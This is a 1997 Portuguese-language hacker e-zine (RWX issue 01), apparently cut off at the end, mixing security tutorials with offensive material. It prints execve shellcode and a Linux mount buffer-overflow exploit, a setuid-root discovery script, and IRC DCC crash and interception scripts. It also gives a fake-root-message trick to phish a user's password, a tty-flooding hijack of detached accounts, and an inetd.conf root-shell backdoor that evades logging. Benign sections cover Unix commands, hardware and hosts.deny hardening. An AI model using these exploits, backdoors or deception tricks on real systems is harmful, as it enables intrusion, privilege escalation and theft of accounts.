.oO Oo. ::::::::::::::::::::::::::::::::::::::::::::::::::::: :::::::""`````""::::::""`:.:`""::"`````"::'"```'.:::: :::: .g#S$$$$$S#n .g#S$$ $$S#n. $$$S#s s#S$$$ :::: :::: $$$$$$ $$$$$ $$$$$$ $ $$$$$$ . $$$ $$$ .:::: :::: $$$$$$g$$$$$. $$$$$$ $ $$$$$$ :' $$g$$ .::::: :::: $$$$$$ $$$$$$ $$$$$$ $ $$$$$$ ' $$$$ $$$$ ':::: :::: $$$$$$ $$$$$ $$$$$$.$.$$$$$$ $$$$$ . $$$$$ :::: :::: $S$$$$ $$$$ `S$$$$s s$$$$S'.`S$$ : $$S'.:::: ::::.......:.....:::.............:::....:::....:::::: ::::::::::::::::::::::::::::::::::::::::::::::::::::: RWX n. 01 dia: 1o/o9/97 (melhor visto com vi, ou edit) Endereco: www.cyberspace.org/~rwx www.st.com.br/~rwx E-mail: rwx@valise.com rwx@st.com.br ---------------------------------------------------------------------[rwx]- "E' facil ter-se um sistema de computacao seguro. Voce meramente tem de desconectar o seu sistema de qualquer rede externa , e permitir somente terminais ligados diretamente a ele. Por a maquina e seus terminais em uma sala fechada, e um guarda na porta." F.T Grampp e R.H. Morris ---------------------------------------------------------------------[rwx]- ESCLARECIMENTO ~~~~~~~~~~~~~~ Esta e' uma zine voltada a area de seguranca , seja qual for sua intencao em ler nao nos responsabilizamos pelo mau uso das informacoes aqui conti- das. Nao estamos aqui pra ensinar ninguem a ser Hacker ou um terrorista, nosso objetivo e a pura troca de informacao entre pessoas que buscam o conhecimento na rede, e nos opomos aqueles que so visam o lucro. Caso dis- corde de algo ou tenha alguma sujestao, escreva-nos, ficaremos felizes em ouvi-lo. ---------------------------------------------------------------------[rwx]- INDICE ~~~~~~ faqz, textos 01#. INTRODUCAO................................................group 02#. OVERFLOWS.................................................auth 03#. HACKEANDO UNIX SYSTEM - Metodos Classicos p1..............skynet 04#. LISTA COMPLETA DE COMANDOS UNIX 2.........................DmS 05#. IRC DCC problems..........................................auth 06#. UM POUCO DE HARDWARE......................................Kbyte 07#. LINUX TRICKS..............................................Kbyte 08#. BACKDOOR's..............................................._KniGHT_ 09#. WEBstar...................................................auth 10#. Caching (dns)p1...........................................icmp exploits, bugs 11#. COLOR_XTERM...............................................DmS 12#. Ld_S0{1.9.2}............................................._KniGHT_ 13#. NT DoS (denial of services)...............................auth finalizacoes, pedidos, agradecimentos, emails 14#. EMAILS 15#. FUTURO 16#. PALAVRAS FINAIS ---------------------------------------------------------------------[rwx]- 01# INTRODUCAO ~~~~~~~~~~~~~~ Well, well, well, depois daqueles mails, ficamos ate sem graca de nao ter respondido todos, mas, dai da pra ter uma leve nocao, doque nossa sociedade do cyberspace esta se tornando, a concorrencia esta matando, cada um quer pisar na cabeca do concorrente, ate ontem mesmo teve um amigo meu, que para meu ver trabalhava muito bem de webadmin, foi despedido, por uma coisa que nao tem nada haver com sua funcao, mas, para que ? bom, a sede da internet vem revolucionando todos os meios de telecomunicao, no futuro nao ira mais existir correios, as vezes,muitos as vezes, nem aparelhos de televisoes,nem de radios, tudo se baseia agora nessa super rede, ligada simplesmente por cabos, e satelites. Em que fim isso levara, imagine, se todos nesse mundo, que esta virando 'globalizado', terem em mente 'detonar' essa rede, em que mundo viveremos, no futuro, claro, nao e' mais historias de rpg, que temos computadores ligadas diretamente ao cerebro humano, que seguranca teremos? nao sei ao certo, mas estamos aqui para ajudar, pelo menos ate onde nos soubermos, e assim vai indo. Nao temos nossa pagina atual ainda, pois, recebemos emails de acho que, 3 provedores, mas, ai, mandamos nosso mail pra essa galera, mas, nada de resposta. Oque eh isso, sera que nada vai ser consientizado ? po, recebemos muitos emails de usuarios parabenizando pela nossa iniciativa, para esses obrigado, e que continuem a mandar seus mails, mas tipo, mas que mandem mesmo, so' assim saberemos que voces estao lendo, e como mudar algo que nos fizemos. Chega de bla,bla,bla... Vamos ao que interessa,agora temos mais dois 'irmaozinho BASH',o nome das figuras sao kbyte, e Knight, eles com certeza sabem oque estarao escrevendo, por isso, espero a todos mais uma sincera colaboracao, com eles. :), Nessa edicao do zine, teremos algumas coisas legais,do tipo,aqueles segredos do overflow ,lembram daqueles exploits de mount,de rlogin, e tudo ? tai, em vez de voce so' ir pegar o exploit la na cert, ou em outro lugar, explicamos de modo simples.Tem tambem, algumas tecnicas de invasao, as tecnicas classicas, aquelas em que, o admin, faz mais parte do que o 'invasor'.Tambem temos o DmS,colocando em pratica a segunda parte dos comandos, acho que e' a maior lista, e mais completa de comandos unixoides em portugues. Fora as partes dos problemas de DCC,e as partes de hardware e algo complementand os textos anteriores. Entao, nao deu para colocarmos muita coisa de mac, e fico soh um testinho pequeno, infelizmente, empurramos para a proxima! :)) Enfim,fizemos oque era esperado acho que deu para superar a versao passada, e assim, ate conseguirmos achar um admin que nos ache um lugar. Pedido de desespero: MANDEM EMAILS! e que algum admin sagrado nos ajude! :) O grupo /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 01# OVERFLOWS ============= auth 97 Bom,esta parte,reservo aos programadores de nivel medio a superior, estara detonando na parte completa de stack overflows em sistemas unix, mas, como ja existe muito texto porai com muita coisa disso, aqui ficou um pouco resumida, por isso, nem ligue se voce nao achar este texto la aquela coisa legal, so' quero introduzir oque, e os perigos existentes nos overflows, mas, se voce quiser saber mais sobre assembler, peco a ir procurar um bom manual na net! --------------------------------------------------------------------[auth]- Stack - introducao ~~~~~~~~~~~~~~~~~~ a principal funcao de qualquer cpu, e' processar e mover data, em quanto processa ou move algo,o cpu necessita de algum lugar para salvar informaco- es importantes rapidamente. essa informacao e' salva no stack. o stack e' uma parte especial da memoria,que pode ser acessada com comandos especiais. o stack e' variavel em tamanho e posicao. :se um registro N e' usado e um sub-processo e' executado tambem,o registro N, e' salvo no stack,que logo apos o processo ter acabado, sera recuperado. para a rapidez,o cpu usa varios comandos especiais de stack, q proporcionam mais rapidez as mudancas. :se um processo e' executado e o cpu precisa saber onde voltar em caso do processo terminar, o 'return adress' e' salvo no stack, antes de executar o processo e depois de terminado, o cpu vai ao 'return adress' guardado no stack. se um programa cria ou recebe info, a nova info tem que ser guardada na memoria,todos os programas usam 'dynamic data' para guardar informacoes, ou seja, a CPU cria os espacos na stack, se ela for usada, sera usada, mas se ela nao for mais precisa, as variaveis serao dinamicas. :se um processo ira mexer em duas variaveis, precisara da terceira (c) para guardar.A variavel (c) sera instalada no stack e removida quando o processo for terminado. (a <-> b) c <- b a <- b (b <- c) isso foi so' uma base para o que e' de que forma e' feito o funcionamento do stack, mas o lado malefico disso, sao os exploits, que sao muito bem feitos, para o usuario conseguir root, e assim detonar seu sistema. --------------------------------------------------------------------[auth]- Estrutura do Stack ~~~~~~~~~~~~~~~~~~ a primeira coisa guardada no stack sera a ultima a ser lida, e a ultima a ser guardada sera a primeira a ser lida, esse sistema e' chamado de LIFO, ou "last in,first out" (ultimo dentro, primeiro a sair),vamos a um exemplo, vamos executar um programa (em caso, para conseguir root mais tarde, hehe), como o stack pareceria quando o processo chamaria suas variaveis dinamicas? . : ... . |-----------------------: -2048 bytes | local array1[1024] | ... |-----------------------| -1024 bytes | local array2[1024] | size 1024 bytes |-----------------------| posicao atual do stack | base pointer | size 4 bytes |-----------------------| +4 bytes | return adress | size 4 bytes |-----------------------| +4 bytes : parametros ... | ... . : as variaveis sao diferentes, e a informacao e' guardada no stack, todo cpu usa um 'stack pointer', para marcar a posicao atual, e' chamada de SP. as partes a serem analizadas serao o 'local array2' e o 'return adress', so' isso e' necessario para termos root. --------------------------------------------------------------------[auth]- Mandando bronca no 'return' ~~~~~~~~~~~~~~~~~~~~~~~~~~~ lembrando,quando e' executado algo,o CPU salva um 'return adress' no stack, se o processo e' finalizado, o cpu pula e acha o 'return adress'. mas, se o processo salva mais bytes em uma variavel local do que seu tamanho normal, ira acontecer o 'overwrite', ira sobrescrever o 'return adress' antigo, e assim sera nomiado 'overflow'. se (1024+8)1032 vezes o caractere "x" for escrito no array2 local,o proces- so ira escrever novamente o 'return adress'. e o stack ira parecer: . : ... . . |-----------------------: -2048 bytes | local array1[1024] | ... |-----------------------| -1024 bytes | 1024 times "X" | size 1024 bytes |-----------------------| posicao atual do stack | 4 times "X" | size 4 bytes |-----------------------| +4 bytes | 4 times "X" | size 4 bytes |-----------------------| +4 bytes : parametros ... | ... . : assim, agora nos poderemos forcar o programa a pular onde nos quizermos! ira sera muito legal. poderemos criar um codigo no 'local variable'. . : ... . |-----------------------: -2048 bytes | local array1[1024] | |-----------------------| -1024 bytes | our code | < - |-----------------------| | posicao atual do stack | 4 bytes de lixo | | |-----------------------| | +4 bytes | nosso codigo! hehe | ___| |-----------------------| +4 bytes : parametros ... | . : se esse programa e' 'ownned' do root, e tem a 'suid flag' datada como um normal user, teremos privilegio de root quando executada, nosso codigo pode fazer algo como 'root', hehe. --------------------------------------------------------------------[auth]- Executando a shell em assembler ou em c ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ se nosso codigo executara uma shell normal, e nos criamos o programa de overflow,poderemos ter todos os privilegios de root.nos precisaremos agora, e' de um pequeno codigo em assembler que ira executar a shell,nao e' neces- sario mesmo executar a shell,mas, neste caso, oque interessa e' o root. he, voce pode conseguir a shell em assembler, ou compilar ela em 'c', com a denominacao do 'execshell'. codigo em assembler: ~~~~~~~~~~~~~~~~~~~~ jmp end_of_code execve: popl %esi movl %esi,0x8(%esi) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%esi) movb $0xb,%al movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 xorl %ebx,%ebx movl %ebx,%eax inc %eax int $0x80 end_of_code: call exec_prog .string "/bin/sh\" codigo em c: ~~~~~~~~~~~~ char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; se voce prestar atencao acrescentamos 8 bytes, se quizermos mexer no 'return adress', nos teremos que sobrescrever 4 bytes da 'base pointer', e 4 bytes do 'return adress'. #define lv_size=1024 char buffer[lv_size+8] ... olhando este proximo exemplo feito em C,poderemos aprender como fazer isso, lv_size eh usado como o tamanho da variavel,execshell,e' usada como 'char', como nosso codigo em assembler, teremos ali tambem, o lugar onde o shell sera executado. ptr e' o pointer que sera o espaco que iremos copiar sobre a variavel local. ex 1: for(i=0;i |-----------------------: ------ -2048 bytes | local array1[1024] | | offset |-----------------------| | maior -1024 bytes | <...> | | que | | | 1024 | | ______| | | < - VSP + offset | | | | | | |-----------------------| | posicao atual do stack | 4 bytes de lixo | | |-----------------------| | +4 bytes | adress: VSP+offset | ___| |-----------------------| +4 bytes : parametros ... | . : . Ex 1: ptr2=(long *)ptr; *ptr2=get_sp()+offset; Ex 2: ptr2=(long *)ptr; for(i=1;i<8;i++) *(ptr2++)=get_sp()+offset; --------------------------------------------------------------------[auth]- Comandos de 'enviroment' ~~~~~~~~~~~~~~~~~~~~~~~~ agora, chega de basico, vamos ao interessante, o programa que sera atacado sera 'owned' do root. exemplo de como achar: -------------------------------------------------------------------[corte]- #!/bin/sh find /bin -user root -perm +a=s > suid.lst find /sbin -user root -perm +a=s >> suid.lst find /usr/bin -user root -perm +a=s >> suid.lst find /etc -user root -perm +a=s >> suid.lst find /var -user root -perm +a=s >> suid.lst -------------------------------------------------------------------[corte]- voce deve estar cansado disso, mas, esqueci de falar uma coisa, como voce achara um programa que seja bugado para o overflow ? cat /teste.teste ^ variavel (tipo: char[256]) usando uma variavel de 'enviroment', "set TERM=4321" o programa ira usar a variavel TERM no buffer, mas o tamanho desse buffer pode ser diferente, na ordem de dar 'overflow', ira checar os tamanhos, como '256, 512,1024...', os programas mais faceis de dar 'overflow', sao: mount.c - linux version: < 2.0.8 rdist.c - all bsd version: 2.0 rlogin.c - solaris version: 2.5 & 2.5.1 Exemplo de mount: /* ----------------------------------------------------------------------- mount.c - mount exploit for linux - version: < 2.0.10 ----------------------------------------------------------------------- */ #include #define lv_size 1024 #define offset 30+lv_size+8*4 // -------------------------------------------------------------------------- long get_sp() { __asm__("movl %esp, %eax"); } // -------------------------------------------------------------------------- main(int argc, char **argv) { char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; char buffer[lv_size+4*8]; unsigned long *ptr2 = NULL; char *ptr = NULL; int i; for(i=0;i fkmsg [Aqui vc digita a mensagem que deseja enviar] Message from root console... Caro usuario, Para sua seguranca estamos fazendo troca de senhas em nosso servidor, por favor altere sua senha para "abcd9206". Agradeco sua compreencao. Skynet (Gerente de Seguranca Internet) [CTRL-C] cyberdine:/tmp$ OBS: Vc deve usar sua criatividade, pode fazer qualquer coisa com isso! Agora vamos ver em quem vamos usar. cyberdine:/tmp$ w 7:41am up 20 min, 3 users, load average: 0.78, 0.27, 0.11 User tty From login@ idle JCPU PCPU what victim tty1 7:23am 1 vi lamah.txt skynet tty2 7:37am w K00l! Escolhida a vitima, o que nos interessa acima e apenas o nome do terminal que o mesmo ta logado. Agora vamos mandar o conteudo da "mensagem" para que ele receba na tela.... cyberdine:/tmp$ cat fkmsg >/dev/tty2 hehehe... se ele for MUITO otario vai cair na sua! Caso nao tenha conseguido exito, nao desanime ha coisas melhores ainda por vir. ;-) -------------------------------------------------------------------[skynet]- 4. DETACHED ACCOUNTS ==================== Systemas (Unix System V, SunOS, XENIX,..???..) Um dos mais fantasticos furos nos sistemas Unix que apavoravam os admins. Pra quem nao sabe dele vou falar um pouco a respeito. Lembram no inicio do texto que eu falei sobre o que tinha acontecido comigo numa vez que eu tinha caido numa shell sem ao menos ter digitado o login?! Poise, aquilo foi nada mais do que uma detached account, que foi deixada no sistema ou por algum hacker que no momento tentava detonar a maquina,ou,por puro acidente mesmo. Mas como eu sei se ha uma detached account no sistema? Bah, vc nao deve fazer nada, vc deve provoca-la, heheheheh!! Pra isso precisamos q o system deve estar com permicao de write no terminal. veja o exemplo: cyberdine:/tmp$ cat /bin/sh >/dev/tty2 OBS: Quanto MAIOR for o arquivo binario, melhor ainda... Isso vai fazer com que apareca na tela do cara um monte de sujeira que fica passando insistentemente ate que ele seja OBRIGADO a desconectar sem usar o LOGOUT! E ai que comeca nossa brincadeira,. Pra ter certeza de que ele desconectou basta dar um 'who' se aparecer outro nome igual aquele que vc detonou, certamente ele conectou novamente. Resta agora tentar entrar no sistemas repetidas vezes ate cairmos no terminal detached e com isso na conta daquela pessoa que derrubamos! Simples,han?! Proxima edicao tem mais! :) /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 04# Unix Commands PARTE 2 by DmS ================================ Como prometido irei continuar a lista de comandos para UNIX!! :) --------------------------------------------------------------------------- mount Serve para "mountar"(Tornar o algo importado como uma coisa local) um diretorio ou particao. Por exemplo se voce quiser visualizar o conteudo de um disquete, voce o "mounta" com o mount. Linha: mount origem destino "Mountando" o floppy : Crie um dir no raiz chamado /floppy e digite: mount /dev/fd0 /floppy ou mount /dev/fd1 /floppy dependendo do local do seu floppy. Se ele for drive A: no DOS sera fd0, se for B: sera fd1. Ai vc vera o conteudo do disquete a partir do dir /floppy "Mountando" o CD-ROM : Crie um dir no raiz chamado /cdrom e digite: mount -t iso9660 -r /dev/cdrom /cdrom Todo o conteudo do CD sera visualizado no dir /cdrom umount Serve para "desmountar" um diretorio ou particao. Apos voce "mountar" qualquer coisa e nao quiser mais usar-lo, voce tera que "desmounta-lo". A linha do comando umount sera sempre umount . df Utulizado para visualizar espaço nas particoes. Exemplo: Filesystem 1024-blocks Used Available Capacity Mounted on /dev/hdb1 791155 285322 464961 38% / /dev/hda1 2060032 1080544 979488 52% /dosc du Visualizar espaco ocupado por aqueles arquivos do diretorio. Opcoes aconselhadas: -a cc Compilador C do sistema UNIX. Opçoes: -o Linha: cc -o arquivo arquivo.c find Procurar arquivos no sistema Linha: find diretorio_do_arquivo -name nome_do_arquivo cp Copiar e/ou duplicar arquivos Linha: cp origem_do_arquivo destino_do_arquivo ou cp arquivo arquivo1 mv Mover e/ou renomear arquivos Linha: mv origem_do_arquivo destino_do_arquivo ou mv arquivo arquivo1 date Exibe data e hora do sistema grep Comando usado para identificar um linha em certo arquivo. Exemplo: grep rwx /etc/passwd ou cat /etc/passwd | grep rwx Ele verificara todas as entradas rwx no arquivo passwd. free Mostrara a quantidade de memoria fisica e a memoria swap livre e usada pelo sistema, como tambem mostrara shared memory e buffers usados pelo kernel. head Usado para mostrar as dez primeiras linhas(default) de um certo arquivo. Linha: head -c Nb arquivo ; onde N e o numero de bytes que serao exibidos. Vc pode usar em vez da letra b apos o N, as letras k(kilobytes) ou m(megabytes). tail Verifica as 10 ultimas linha dum certo arquivo, e com a opcao -f espera infinitamente por novas linhas no final. Perfeito para se usar em logs. Opcoes: -f Linha: tail -f arquivo ln Serve para linkar um arquivo a um diretorio ou outro arquivo. Linha: ln origem destino netstat Mostra todas as conexoes TCP, UDP, RAW e UNIX sockets. Opcoes: -a su Comando usado para trocar de user sem precisar dar um logout. Recomendado usar-lo sempre ainda mais se vc for um admin pois ficar logado como root nao e aconselhavel. Linha: su E logo depois ele pedira a senha se vc for um user normal. Se for o root do sistema nao ira precisar de senha alguma. touch Cria um arquivo vazio. Linha: touch arquivo uname Exibe informacoes do sistema. Opcoes: -a mailx Verifica novos mails na caixa de mensagem. showmount Exibe diretorios mountados da maquina local ou qualquer outra. Opcoes: -ae Linha: showmount -ae IP_DA_MAQUINA Proxima edicao tem mais! /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 05# IRC DCC problems ==================== auth 97 Este texto,nao e' para qualquer cara chegar e comecar a derrubar os outros, por isso, e' so' mais um texto para os admins lerem e ver, oq seus usuarios 'bonzinhos' podem fazer com sua rede de irc, por isso, e' necessario setar bots e dar uma dura em muitos ircops porai. DCC e' o irc protocolo de 'client-side'usado para mandar informacao direta- mente entre dois clientes, normalmente,quando uma mensagem e' mandada entre 2 clientes,ela vai do cliente do usuario ate o seu servidor,do seu servidor ele ira para o servidor do outro usuario,e assim chegara ao cliente do usu- ario. Esquema: 1. Seu cliente de irc abre uma porta de tcp (>1024), e espera uma conexao. 2. Seu cliente de irc manda: A) o nome do arquivo B) seu endereco IP C) o numero da porta de tcp D) o tamanho do arquivo (em bytes) 3. O cliente irc quando abre a porta para conexao especifica seu ip, transmite um pouco de lixo para inicializar a transferencia, e ai joga o file. 4. Nessa hora, seu cliente de irc, para de receber outras conexoes naquela porta. Alguns Problemas ~~~~~~~~~~~~~~~~ O ircII mais antigo que a versao 2.82 trava,quando alguem tenta mandar-lhe um arquivo, mas com o ip trocado, um exemplo basico: dcckill.irc: echo Loading DCC KILL echo Syntax: DCCK nick filename size echo ^Bfilename^B and ^Bsize^B are bogus values. alias DCCK { ^assign dcc_killing 0 //quote PRIVMSG $0 :^ADCC SEND $1 12341234 4321 $2^A echo *** Sent DCC KILL request to $0 ^assign dcc_killing 1 } Um truque parecido, e' direcionar o cliente remoto de irc para conectar a alguma porta de alguma maquina em um t3.Voce pode fazer isso para encher seu colega de testes com lixo. dccchargen.irc: echo Loading DCC CHARGEN echo Syntax: DCCCHARGEN nick filename size echo ^Bfilename^B and ^Bsize^B are bogus values. alias DCCCHARGEN { ^assign dcc_charging 0 //quote PRIVMSG $0 :^ADCC SEND $1 2230084270 19 $2^A echo *** Sent DCC CHARGEN request to $0 ^assign dcc_charging 1 } Oque era impossivel para muitos esta na rwx! oque voce pode fazer, eh ver e interceptar as transferencias de DCC! dccgrab.c: /* dccgrab 0.01 / linux - auth 97 / tem q ter netcat */ #include #include #define TRUE 1 #define FALSE 0 int main (){ int SnaggedOne; FILE *f; char NetstatLine [1024]; char CommandString [1024]; char *colin = ":"; char *tempstr; int port; int i; port=1; SnaggedOne=FALSE; while (!SnaggedOne){ system ("netstat -a |egrep LISTEN |egrep ':' >/tmp/.dcc2345"); f=fopen ("/tmp/.dcc2345","rt"); if (f==NULL) { fprintf (stderr,"Cade o file?"); exit (1); } port =0; while (port == 0) { fgets (&NetstatLine[0],1024,f); tempstr = strstr (&NetstatLine[0],colin); tempstr += sizeof (char); sscanf (tempstr,"%d ",&port); if (port < 1024) /* aham! */ port=0; if (port == 6000) /* X */ port=0; if (port == 8080) /* proxy servers */ port=0; /* bots... */ if (port == 2222) port=0; if (port == 3333) port=0; if (port == 4444) port=0; if (port == 5555) port=0; if (port == 6666) port=0; if (port == 7777) port=0; if (port == 8888) port=0; if (port == 9999) port=0; if (feof (f)) port=-1; } fclose (f); if (port >0) { SnaggedOne=TRUE; printf ("tracando em %d\n",port); sprintf (&CommandString[0],"nc 127.0.0.1 %d < ./telnet.d > snagfile",port ); system (CommandString); } else sleep (1); } /* while !snaggedone*/ return 0; } Isso funcionara de forma local, mas e' bom para ver e aprender oque fazer! Bom, te' proxima edicao! /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 06# UM POUCO DE HARDWARE BASICO =============================== By KByte. Estamos aqui mais uma vez reunidos , e fugindo um pouco dos padroes da zine venho falar um pouco sobre HardWare. O computador vem se aperfeicoando a decadas , a partir do ponto de partida , o primeiro computador pessoal , o IBM PC , lancado em 1981. Esta linha de computadores possuiam um processador INTEL 8088 de velocidade 4.77 MHz. Apos o IBM PC , veio o PC XT , o primeiro com um disco rigido de apenas 10 Mbytes. A INTEL considerada a melhor e maior fabricante de chips do mundo , produziu um processador mais rapido que o 8088 , o 80286 operando a 8 MHz.Apos o 80286 seguiram -se o 80386 e o 80486 , muito usados ainda atualmente. A velocidade de um processador depende de quantidade de Bits Internos e Externos , os quais vc encontra dos principais processadores: *********************************************************************** MicroProcessador Bits Internos Bits Externos 8088 16 8 8086 16 16 80286 16 16 80386SX 32 16 80386DX 32 32 80486(Todos os tipos) 32 32 PENTIUM 32 64 ************************************************************************ Memorias : * ROM : Sao memorias apenas para leitura , onde se localiza a BIOS , programa que ja vem do fabricante e faz uma deteccao dos perifericos usados na maquina. * RAM : Usada para leitura e escrita.Armazena as instrucoes a serem executadas pelo MicroProcessador * DRAM (Dinamic Ram) : E' a memoria usada em grande quantidade nos micros , por exemplo , quando vc diz que seu computador tem 8 mb de memoria , vc se refere a memoria DRAM que eh lenta , mas barata e compacta . * SRAM (Static Ram) : Conhecida tambem como memoria cache. Essa memoria e' usada para acelerar o desempenho da memoria DRAM. -- Barramentos Barramento e' um conjunto de conexoes eletronicas usadas para fazer a ligacao entre placas.A Placa Mae possue um conjunto de conectores chamados SLOTS.Esses SLOTS formam o barramento que liga a placa de cpu com as demais placas. * Barramento EISA Opera com enderecamento de 8 bits * Barramento ISA (Industry Standart Architecture) Opera com enderecamento de 16 bits * Barramento VLB (Vesa Local Bus) Opera com enderecamento de 32 bits * Barramento PCI Opera com enderecamento de 64 bits (Presente na placa PENTIUM) Bem pessoal , por este zine e' so' .Espero escrever mais na proxima zine , qualquer sugestao , reclamacao , duvida sobre qualquer coisa , email us , ou entao me procure no irc server irc.st.com.br podendo me mandar um memoserv. Kbyte. /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 07# LINUX TRICKS ================ kbyte Bem pessoal , essa eh minha segunda materia nessa zine , da qual eu fui convidado a entrar por um grande amigo meu . O objetivo dessa materia eh complementar um pouco a materia do Skynet na Rwx00 sobre seguranca no seu linux. Eu particulamento uso RedHat linux na minha maquina , usando o ttysnoopd , mas ainda nao me senti totalmente seguro e entao parti para outros dois arquivos de seguranca muito usados : hosts.deny e hosts.allow (Ambos se encontram no diretorio /etc/ da maioria dos *Nix) Para o acesso a algum servico do Linux , a sequencia eh a seguinte : - Verifica-se se o Ip e o servico estao no hosts.allow , se estiverem acesso garantido (Mesmo se o Ip e o servico estiverem no hosts.deny que nao sao checados se encontrados no hosts.allow) - Verifica-se se o Ip e o servico estao no hosts.deny , se nao estiverem acesso garantido - Se o ip nao estiver no hosts.allow mas tambem nao estiver no hosts.deny , o acesso eh garantido. * Hosts.deny - Contem os hosts que _NAO_ podem acessar a certos servicos na sua maquina Sintaxe : servico:IP Exemplo : in.fingerd:200.00.00.00 | | | O Ip da maquina que nao poderia acessar tal servico |- Servico , no caso o finger Obs: Podemos usar alguns Wildcards como All ou Local Ex: in.fingerd:All - Significa que nenhum IP podera acessar o servico em questao. All:All except local - Significa que nenhum ip exceto ips locais possam acessar o servico , no caso todos os servicos disponiveis. * Hosts.allow - Eh o arquivo aonde contem os servicos que certo ips podem acessar . Sintaxe: Parecida com o do hosts.deny so que essa linha garante acesso Servico:Ip Exemplo : in.fingerd:200.1.1.1 Garante acesso ao IP 200.1.1.1 ao servico finger All:200.20.20.20 Garante acesso a 200.20.20.20 a todos os servicos disponiveis Obs: Eh importante ressaltar , que podemos colocar varias linhas em ambos os arquivos , podendo entao anular ataques de certos ips. * Truque Bem , agora a parte mais esperada , o truquezinho que podemos fazer com o hosts.deny . No hosts.deny coloca-se : All:All: twist /var/noaccess %h %d ; \ /bin/echo -e "%h tentou acessar %d " >> /var/log/security.log ; Essa linha fara o seguinte , todo ip que tentar acessar qualquer servico de sua maquina , ira executar o programa noaccess e ira logar o IP do maquina e o servico que tentou acessar no arquivo /var/log/security.log Voce se quiser da acesso a alguma maquina apos a inclusao desta linha no hosts.deny , coloque no hosts.allow , tipo : in.telnetd:127.0.0.1 para dar acesso telnet ao loopback. A baixo vai o programa noaccess.c ----------------------------------Cut Here--------------------------------- /* NoAccess Credits go to Piveti , a friend of mine */ #include int main(int argc, char *argv[]){ int i; for(i=10; i >= 0; printf("%i ",i), fflush(stdout), sleep(1), i--); printf("Voce , %s ,nao foi autorizado a usar %s\n\n", argv[1],argv[2]) ; printf("Voce esta nos meus logs!Nao volte mais !!!\n\n"); } --------------------------Cut Here----------------------------------------- Compile esse noaccess com gcc -o noaccess noaccess e bote no dir /var e pronto!:) Se quiser checar os logs de quem quis acessar sua maquina , tente um cat /var/log/security.log ou recomenda-se deixar um console rodando tail -f /var/log/security.log . Bom Divertimento. KByte. /-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ 08# BACKDOOR'S {Perigo ConstAnte} ================================= _KniGHT_(kdestroyer@usa.net) E ai galera, e a primeira vez que eu to escrevendo para zine de seguranca rwx, o DmS me convidou e eu aceitei, hhehehe.... nessa material vou falar um pouco sobre BacKd00r'S, como funcionam, como se defender delas e o que fazer p/ identificar o cara que ta usando as backd00r's no seu Sistema. Esp ero que ajude!!!. BaCKdoor's: Existem muitos tipos de Backd00r's, as mais utilizadas sao a de associacao de portas a um shell. tipo associar a porta 8888 a um shell tipo /bin/sh esse tipo de Backd00r e muito simples facil de fazer.. voce ja loga como root e nada fica logado, existem tambem as Backdoor que sao instaladas na porta 23(telnet) mais essas ja sao mais complexas, e alterado o codigo do telnet, e atribuido algumas linha onde libere o acesso completo p/ o cara que tenha a senha MASTER(assim que eu chamo :)). Pronto com isso da pra ter uma nocao basica de como funciona as BACKD00R's agora vou falar como instalar uma... OBS: Atencao essa explicacao de como instalar uma backdoor e so p/ voce saber detectar uma em seu sistema, se voce usa-la p/ seu beneficio em outro provedores e de sua inteira responsabilidade. O tipo de Backdoor que eu irei explicar e o primeiro caso, a de atribuir uma porta a um shell. O arquivo onde fica determinado o nome das portas do sistema, e tambem a funcao de cada umas e o /etc/inetd.conf, ele se parece com isso: /etc/inetd.conf --------------- # # See "man 8 inetd" for more information. # # If you make changes to this file, either reboot your machine or send the # inetd a HUP signal: # Do a "ps x" as root and look up the pid of inetd. Then do a # "kill -HUP ". # The inetd will re-read this file whenever it gets that signal. # # # # Echo, discard, daytime, and chargen are used primarily for testing. # echo stream tcp nowait root internal echo dgram udp wait root internal discard stream tcp nowait root internal discard dgram udp wait root internal daytime stream tcp nowait root internal daytime dgram udp wait root internal chargen stream tcp nowait root internal chargen dgram udp wait root internal # # These are standard services. # ftp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/wu.ftpd telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd -------- Pegando o exemplo do telnet: telnet stream tcp nowait root /usr/sbin/tcpd /usr/sbin/in.telnetd | | | | | | | | | | | | | | |____ Nome da Porta |_Espera a Connecao | | | | | | | |_ Tipo de Execucao |_ Executa Como ROOT |_Gerencia o Telne t | | |_ Protocolo |_Encarregado de Logar as Connecoes A Backd00r seria igual a Iss0: telnet stream tcp nowait root /bin/sh /bin/sh -i | | | | | | | | | | | | | | |_____Nome da Porta |_Espera a Connecao |_ Executa o Shell | | | | |_ Tipo de Execucao |_ Executa Como ROOT | | |_ Protocolo |_Nota-se que o cara tira o tcpd que e encarregado de logar tudo p/ que sua connecao nao seja percebida ----- Muito Simples Hein.... Agora basta dar um killall -HUP inetd e da um telnet p/ o provedor com a backdoor na porta 23(telnet) ai SHAZAM.... bash# :) ------ C0m0 InDentiFIcaR As BacKd00r's Basta voce sempre verificar o arquivo 